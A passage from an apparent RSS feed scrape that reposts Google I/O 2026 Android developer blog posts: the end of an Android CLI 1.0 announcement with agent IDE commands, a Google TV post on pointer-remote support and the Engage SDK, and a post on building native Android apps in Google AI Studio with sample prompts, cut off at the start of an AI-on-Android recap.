  <p>From there, the agents can use the <code>android studio</code> command to access powerful IDE tools to interact with projects more efficiently. Key commands include:</p><p></p><ul><li><b>analyze-file:</b> Analyzes a file for errors and warnings using the editor's built-in inspections.</li><li><b>find-declaration:</b> Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.</li><li><b>find-usages: </b>Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.</li><li><b>render-compose-preview: </b>Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.</li><li><b>version-lookup:</b> Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.</li><li><b>open-file: </b>Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.</li></ul><p></p><ul>
  </ul>

  <p>For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.</p>

<pre><span><p dir="ltr"><span>$ android studio </span><span>find-declaration</span><span> HotelDetailScreen</span></p><p dir="ltr"><span>$ android studio </span><span>analyze-file</span><span> .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></p><span>$ android studio </span><span>open-file</span><span> feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></span></pre>

  <p>To learn more about how to use these commands, run <code>android help</code>. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running <code>android init</code>.</p>

  <h3>More ways to get started</h3>
  <p>To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:</p>

  <pre>winget install -e --id Google.AndroidCLI</pre>

  <p>We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the <a href="https://developer.android.com/tools/agents/android-cli/archive">Android CLI page</a>.</p>

  <h3>Support for Journeys</h3>
  <div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip7lO5BVjTIeJXDWyrGOdl4KpPTo8_oEcf0qLFUBRfPgOazlG7C9eLWDLdnNYb68-rlon4uOE4qo62WC_U7SaAOYwLG3Vbr0v_lRsh-iNoPzVMmFbAgKXXN1hz9Qj7rMImyybqHCU34ryMlml2fCquAyfNgp1yWiZu-CsP1Jowx4o0z69_wkNtYR0GQIM/s16000/android-cli-write-journey.png"></div><div><i>Journeys are natural language descriptions of core user experiences.</i></div><div><span><span><br></span></span></div>We are also introducing support for <a href="https://developer.android.com/tools/agents/android-cli/journeys">Journeys</a>. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.</div><div> <div class="separator"><img border="0" data-original-height="576" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeAW4kjqfV1t_mAw_iYwgWSczw3q-h3VEOAuDAe12uBel0niX6M2KAoGrs6M2UHhT3t1GvBZs-c3w0R87W6HgCAzHQZOdFjixUHyYCZRzhOgB_RtOkVh0Ph8cDFki0sWI8i5CFNXxGxBHai0uh0RZw5E9kcJUvl8DJtPT3tnkaQm5r8UHuWMstopnTnnI/s16000/android-cli-journey-run.gif"></div><p><i>(sped up) An agent running a Journey it generated for an app.</i></p>Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.
  
  <h3>Expanding Android skills</h3>
  <p>To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our <a href="https://github.com/android/skills">library of Android skills</a>. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:</p><p></p><ul><li><b>Display Glasses and Jetpack Compose Glimmer for XR: </b>Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.</li><li><b>Migration to CameraX:</b> Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</li><li><b>Perfetto SQL:</b> Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.</li><li><b>Adaptive UI:</b> Instructions to make or update an app's UI so that it adapts to different Android devices</li><li><b>Testing setup: </b>Creates a basic testing strategy.</li><li><b>Styles:</b> Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API. </li><li><b>AppFunctions: </b>Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.</li></ul><p></p><p>You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:</p>
<pre>android init
</pre>
  <p>From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:</p>
<pre>android skills list
</pre>
  <p>Once you've found the right skill, install it to your environment by running:</p>
<pre>android skills add –skill=&lt;skill-name&gt;
</pre>
  
  <h3>Get started today</h3>
  <p>To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to <a href="https://d.android.com/tools/agents">d.android.com/tools/agents</a> today!  Also, make sure you update to the <a href="https://developer.android.com/studio/preview">latest preview version of Android Studio</a> to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a> and  share your feedback.</p><p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google.</a></p></div>]]></content:encoded>
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<title><![CDATA[Increasing app discovery and engagement on Google TV]]></title>
<description><![CDATA[Posted by Paul Lammertsma, Developer Relations Engineer


  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer t...]]></description>
<link>https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:47 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQn4lINBGbNGjb1HQYUpv_Z0-JdltXyHegoQ-Ukl5l9K2ef4BSjX8c_yu0EWlnHSJnia8oXZYWvMtKxCP9t9PlJmI9GFIy34UDVfMBkEIaz3KJegu0j2TsivMZZPHg9tkIlsyK4NWd0vEq5v1MfQUay8zJ9-2QgLDLBlkqYVxnY7BaYa3QBTVRE3NKxxQ/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Paul Lammertsma, Developer Relations Engineer</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><br><i><br></i><p dir="ltr"><br></p>

<p dir="ltr">
  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer tools designed to increase the discoverability of your content and prepare your app for future TV experiences.
</p>

<h2 dir="ltr">Drive discovery and engagement with Gemini</h2>

<p dir="ltr">
  Last year, we brought our AI voice assistant, <a href="https://blog.google/products-and-platforms/platforms/google-tv/gemini-google-tv/">Gemini</a>, to our platform, so that people can easily find what to watch, learn something new on the big screen, and get everyday tasks done with just their voice.
</p>

<p dir="ltr">
  Since launch, we’ve made <a href="https://blog.google/products-and-platforms/platforms/google-tv/new-gemini-features-march-2026/">improvements</a> to how Gemini provides tailored responses to questions. Gemini shares a mix of visuals, videos, and text to help users find what they need, when they need it. For our streaming partners, Gemini is a helpful discovery engine—pulling from your app's metadata to surface your relevant content to viewers.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN7u9KDZ7L8CIw5cVB_qdWf6PRcm86N8RsrlWPdEYsfwchPZwFBpMaajSqkPwXXAoBP0_v0GpQsWp4_gF_SsBC0DuZlN0qVystQ3fWmHs1qU6dKclljJaea-Phak7qEoGFiu_i3-dj0l7WmA7Tm7T2v8kERsfhKp6BCFs-7y7eSdxVWmFkpIzXYsceaJM/w640-h360/GTV%20Gemini%20-%20GOAT%20overview%20%5B10.8%20MB%5D.gif"></div>

<h2 dir="ltr">Declare support for pointing modality</h2>

<p dir="ltr">
  The TV experience that we once knew is changing. Gemini is changing the way we discover and stream content with voice, but how we use the remote is evolving, too.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5hNXf8y8wwFxJAgZ0N4QwO5v6QUe7vn4Qy70-ndmo2iTye1qdhKP5WxKPJVwoPi0qdadX25BUJzxtLQZVAHXASOibVD0y3Xd_gFuOzp5GOIBwtXy_2jFa4lsTi4r1k6OzkTe5HyJGkOK-fNspRoo54mEA5IB8K4f0fVZ9UpgTWlringYByYxw3Bn_X1c/w640-h360/GTV%20Pointer%20Remote%20Demo_SHELL.gif"></div>

<p dir="ltr">
  Pointer remotes bring motion-controlled input to the big screen, unlocking faster user navigation across the Google TV Home page and within content-heavy apps. To ensure your app is ready for this shift and provides a great experience for all users, now is the time to start thinking about pointing input. Here’s how to get started:
</p>

<h4><span>1. Adapt your TV app UI Library</span></h4>
<p dir="ltr">
  You’ll need support for hover states, scrollable containers, and cursor clicks to enable pointer remote interactions for your app on Google TV. While implementation varies by UI stack, Jetpack Compose streamlines this transition, as most core components handle these multi-modal interactions natively out of the box.
</p>

<ol type="a">
  <li><strong>Hover state:</strong> Every focusable element on your screen (buttons, movie posters, setting toggles) needs a clear visual feedback mechanism for a hover state. This is often subtler than a focus state but critical for feedback.</li>
  <li><strong>Scrollable containers:</strong> Pointer remotes will also have a small circular touchpad for scrolling. Users can use this touchpad to scroll up or down, or left or right in your app. Your app will need to respond to touch events to scroll.</li>
  <li><strong>Cursor clicks:</strong> Many TV apps today expect a simple D-pad OKAY button “click.” With a pointer remote, a user may “click” on an element that’s not the D-pad focus state, but is instead from a hovered state (similar to a mouse click).</li>
</ol>

<h4><span>2. Test pointing interactions with a mouse today</span></h4>
<p dir="ltr">
  To see how your app handles hover, scroll, and clicks, simply connect a bluetooth mouse or wired mouse to your Google TV. Keep in mind that a mouse has more precise control, since users are closer to the screen and typically rest the mouse in a stable position. Pointer remotes can often be less precise, since users are sometimes 10 feet away from the screen, making rough gestures with the remote from their couch. As a TV designer or developer, you can mitigate this lack of input precision by having larger hover targets for elements.
</p>

<h4><span>3. Declare TV app support for pointer remotes on Google Play</span></h4>
<p dir="ltr">
  Finally, tell Google Play that your TV app is designed to work with a pointer. This ensures that users with pointer remotes will be able to easily find, install, and interact with your app.
</p>

<p dir="ltr">
  Within your AndroidManifest.xml, declare the meta-data tag, <span>android.software.leanback.</span><span>supports_touch</span>. This tag informs the platform that your TV app “spatially supports touch,” since pointer remotes simulate touch events from a distance.
</p>

<p dir="ltr"><strong><em>AndroidManifest.xml</em></strong></p>

<pre>&lt;manifest ...&gt;
    &lt;!-- Signal whether the app is adaptive or built just for TV --&gt;
    &lt;uses-feature android:name="android.software.leanback" android:required="true|false" /&gt;

    &lt;!-- Ensure the app can be installed on conventional TVs --&gt;
    &lt;uses-feature android:name="android.hardware.touchscreen" android:required="false" /&gt;

    &lt;!-- Signal whether the app supports pointer remotes --&gt;
    &lt;meta-data android:name="android.software.leanback.supports_touch" android:value="true|false"/&gt;

    &lt;application ...&gt;
        ...
    &lt;/application&gt;
&lt;/manifest&gt;
</pre>

<p dir="ltr"><strong>Tips:</strong></p><ul>
  <li>The <span>android.<strong>software</strong>.<strong>leanback</strong></span> feature declaration indicates that your app supports D-pad navigation and is intended for distribution only on TV devices via Google Play.</li>
  <li>The new software attribute of <span>android.software.leanback.</span><span>supports_touch</span> declares that in addition to D-pad, you have ensured that your TV app works well for pointer/cursor experiences via mouse (of today) and pointer remotes (of future).</li>
  <li>If you haven't already, now is the time to adopt <a href="https://developer.android.com/compose">Jetpack Compose</a>. Hover, scroll, and clicks are common input modalities that are supported on various form factors, and building your app with an adaptive UI framework enables code reusability and reduced maintenance.</li>
</ul>

<h2 dir="ltr">Onboard the Engage SDK</h2>
<p dir="ltr">
  The Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement.
</p>

<ul>
  <li><strong>Resumption:</strong> Partners can easily display a user's paused video within the 'Continue Watching' row from the Home page.</li>
  <li><strong>Entitlements:</strong> The Engage SDK streamlines entitlement management, which matches app content to user eligibility. Users appreciate this because they can enjoy personalized recommendations without needing to manually update all their subscription details. This allows partners to connect with users across multiple discovery points on Google TV.</li>
  <li><strong>Recommendations:</strong> The Engage SDK even highlights personalized recommendations based on content that users watched inside apps.</li>
</ul>

<p dir="ltr">
  It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. To get started, head to <a href="https://goo.gle/engage-tv">goo.gle/engage-tv</a> to learn more.
</p>

<p dir="ltr">
  We're excited to see how our latest Gemini experience and developer tools will optimize your discovery and drive user engagement on our platform.
</p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
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<title><![CDATA[Build native Android apps in Google AI Studio]]></title>
<description><![CDATA[Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager

    Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barr...]]></description>
<link>https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:46 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd6QUmqCnkvDT9M0IoWA6y_752MRk01nHVQOa644yYkgoMGMDk8Dy6ow6X4SqFzzODP-a1kRaNcuF-1ZyR_lk5fTfdbuEMKDvuX4s7LFaGNuMswzvMCFoYeaQ3RLf2OZPYUWN5BsnqRIsmDub85hpYZNGY7AsaHCsHlfkxLqfqm0PozMhkyqK4i6WfgGM/s2048/GoogleForDevelopers-AndroidCombo2-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s4209/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVwPsGVUMbwR9wQP6ABNBXOWboTfwBPXTg-WwhpVo-nJsWJkXeFMUdU5lPsXYc6jh4bnFwI03EG8fIYgmwEkU8hUKHNgSfSYpDLzUgEX1kGLGoTXXfzqcIsh6ZVOHLcripkRitSymdVGwC0Hnwm1H6S-LdsKXLdkefuPp5mtBWC5H1ACTICDI_fNqsdoc/s16000/GoogleForDevelopers-AndroidCombo2-Blogger-4209x1253.png"></a></div><br><div><br></div>

    Starting today <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.</div><div><h2>The power of native Android</h2>While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to <a href="https://developer.android.com/studio/gemini/create-a-new-project-with-ai">quickly create new projects with Gemini in Android Studio</a> directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.<br><h2><span>A seamless, end-to-end workflow</span></h2>
    We have streamlined the entire development lifecycle so you can focus on your idea: </div><div><b><br></b></div><div><b>1. Create your app and iterate in the cloud:</b> Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWOTqLBbAXBibOw5wN_-49Q21RuGxwPjhQESK5r3KctKIPz1uV4dg0_LiK0w6xxdvbLECzMHzQk-kQO9h1VdflTPKi3wM9sKrwZvLcPbtISBnL2H4acnG8gpEuPtbxpDHexKi4S8Eg_hcQv1_dZOCh78pFGi27aiWHMYZc1gsDA_Iq7SRbVRUkHhngrgw/w640-h544/AI_Studio_creation_step_v2.gif"></div><i><div><i>Use the embedded Android Emulator to create and edit Android Apps right in the web browser</i></div></i><div><br></div><b>2.</b> <b>Install instantly: </b>Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHMqfor305bPNhs_X2ahAxG8QmtpxtLKPrq44Uh4q1OpdsZyDlAuIyKJJDk-2v75-ErSLNp8yCyHQZn-6IQ-mkz8mfedEFtEJuD6VILIhtt8ypGpXmRuqM9LoJDDNnn-xrX3_Cr2MRUUcaEhVpJgCsjrjz-kwHHQeIhq8celQjg5Rt5_S5-j-_eSYpYaU/w640-h544/AI_Studio_Install_v2.gif"></div><div><i>Install the app on your Android device</i></div><div><br></div><b>3. Streamlined Publish to Google Play: </b>Using your <a href="https://play.google.com/console/signup">Google Play developer account</a>, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqGamXSrq6MNtz-PUt17netBXi_JiOMVERsoYV2mEArG8x5f-zCbU8WwTTaClpruCTsN4o3xeyMylDJLaWe0yCteqZJghc6sEXLYwoLPbTtnoa7761JVR_XEbm2Fj20IX142L2mGzU39vuNwLVVw0bDiSwICFelQZhxO63sG9N3GCo8Xx8wHY6gPEDj8c/w640-h544/AI_Studio_Play_v3.gif"></div><div class="separator"><i>Publish the app to an internal test track in Google Play</i></div>

    <br><div><b>Seamless app development handoff </b></div><div>As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to <a href="https://developer.android.com/studio">Android Studio</a> by downloading a ZIP file or exporting it directly to GitHub.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNTwSv8o6QwB9QYZS_OezD7WhWQZiShTEu5aJz6_oGUfOu-2RQWmANs0jgeC1G1jrsZauVbeWzLHkjoZa_Ai_cjKvgbB_-Qzqh8-obzcNf9zKTJSG4AfvXTogb0xsCxcHRS4P-LHFKk1pm8sTdDjIn8A5b9vX8GRRvHrCvN9_xoPm6hPzN1rct5Aph3Zc/w640-h206/AI_Studio_Download.png"></div><div><span><i>Download zip file of Android app project files</i></span></div><div><span><i><br></i></span></div>When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend <a href="https://developer.android.com/gemini-in-android">Gemini in Android Studio</a>, which features models designed with Android in mind, or Antigravity, which integrates <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.</div><div><h2>Start building today</h2><div>To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:</div><div><ul><li><b>Personal utilities and simple social apps: </b>You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.</li><li><b>Hardware-enabled experiences:</b> Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.</li><li><b>AI-powered experiences: </b>You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.</li></ul></div><h2><span>What’s Next?</span></h2>
    <div>We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:</div><div><ul><li><b>Managing Google Play Test Tracks: </b>Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. </li><li><b>Firebase integrations: </b>Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.</li></ul></div><div><br></div><div>Head over to <a href="https://ai.dev/apps?features=build_android_app">Google AI Studio</a> right now to start building. Here is some inspiration to get you started… </div><div><br></div><table border="1">
        <tbody><tr>
            <td colspan="2">Turn your Google Pixel Watch into an aviation assistant</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.</div>
            </td>
            <td><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRi7_vRI0TgaUYUE-g6kX-Gbg5Vf8ZVNY0H5n-2p8Ml32hyphenhyphenFvWAjp5re6AWpFKHLv1-rokBy_qfXexN61uQ9bpeDE_1DKfTrY3CkepiZMkNIEC5UlvBYng_OqersnyVS5Nu_zCuJJQ2w4NBaxWDC8duVnC0ILvWEpeg49N7aoJh1z6o_-BJHfBCnZKpz0/s320/wearOS_ai_studio.gif"></div><br></td>
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    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">Interactive Harmonium app on Google Pixel Fold</td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div>Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.</div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8hUGuJaj76omAAgO2RqZKZ_qGvgThfE0tKA-99BJ82G2UOw8h1qT5H7sM5C7n_k2tN5CD0LpJyOFor3HefsKarRPmWTo35ltnDihv2MsddEUcZN5t5fgeJWuJ60Y3XCEqqLhd7gkGyAbM6vnGau0PLE8BohPat8lQ-63fQLudrFUVRVpkFUJ9wMFX1oc/w179-h200/Tiny%20Harmonica%20demo.gif"></div></td>
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    </tbody></table>

    <br><table border="1">
        <tbody><tr>
            <td colspan="2">An Android app for guitarists to become better musicians by jamming to backing tracks </td>
        </tr>
        <tr>
            <td>
                <strong>Prompt:</strong><br>
                <div><div><span>Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.</span></div><div><span><br></span></div><div><span>The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.</span></div><div><span><br></span></div><div><span>Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.</span></div><div><br></div></div>
            </td>
            <td><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2pWobL4G7-4deWwvMpRmtfHG1OuXyc_bHwq6fPszYT1Vztm4g_HaN28PVg6Hwd3_N2Qd82HS1QtpUGKCTUFiCuLBwMpcA-8sMC6dJtSDGKEVAaV1kxumYMZi3kTB9NnUIEf9xQPKyyfvKb8MZUyNGnYNAEHTxyHpWCEvN2xgQsj5X09LW_FHU1n0aJQg/w221-h400/guitar_app_AI_Studio.gif"></div></td>
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    </tbody></table>

    We are looking forward to seeing what you build next!</div><div><br></div><div>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
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<title><![CDATA[Top AI on Android updates for building intelligent experiences from Google I/O ‘26]]></title>
<description><![CDATA[Posted by Jingyu Shi, Staff Developer Relations EngineerAt Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. ...]]></description>
<link>https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:43 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqtr_NVZaXiVnywBK8bKIamZw4oM3DFopMeWXl_DsHJktlRpmuCkOCQEkc85z-xJ8id7DT8ggl6OopYCndxxYb8kA2LIttV3DlL1Mzmt5OffK_Lyq1q_mxg4RdUjQ23rOyNY5N3wopBtBODH-HQsPRqBc8cS8Kw0Azhz14Jn8EjEdKQ3znXGLRVUpM_-g/s4097/Blog_Meta@2x.png">



<i>Posted by Jingyu Shi, Staff Developer Relations Engineer</i><div><i><br></i><div><name content="IMG" twitter:image=""><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s8419/BLOG%20HERO_BLOGGER@2x.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s16000/BLOG%20HERO_BLOGGER@2x.png"></a></div><br><i><br></i><p></p><p><i></i></p><br></name><div>At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here: </div><div><div><name content="IMG" twitter:image=""><br><div class="separator">
